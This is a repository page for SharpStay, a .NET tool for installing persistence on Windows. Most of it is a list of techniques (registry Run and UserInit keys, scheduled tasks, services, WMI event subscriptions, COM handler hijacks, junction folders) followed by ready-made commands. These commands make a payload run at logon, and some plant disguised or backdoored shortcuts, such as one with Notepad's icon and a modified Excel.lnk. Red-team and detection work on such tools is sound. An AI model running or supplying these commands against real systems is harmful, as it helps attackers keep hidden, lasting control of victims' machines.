Need help with SharpStay?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

132 Stars 42 Forks GNU General Public License v3.0 4 Commits 1 Opened issues


.NET project for installing Persistence

Services available


Need anything else?

Contributors list

# 254,637
1 commit

SharpStay - .NET Persistence


To compile open Visual Studio project and compile for release.


  • Elevated Registry Keys
  • Elevated UserInit Registry Key
  • Elevated Scheduled Task
  • Elevated Create Service
  • Elevated WMI Event Subscription

  • Non-Elevated InitMprLogonScript Registry Key

  • Non-Elevated Scheduled Task COM Handler Hijack

  • Non-Elevated Junction Folder

  • Misc Add Scheduled Task Action

  • Misc Startup Directory

  • Misc New LNK

  • Misc Backdoor LNK

  • Misc Task Names

  • Misc List Scheduled Tasks

  • Misc List Running Services

  • Misc Get Scheduled Task COM Handlers

Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup 
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler

is an option for each persistence type.

Part of StayKit

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.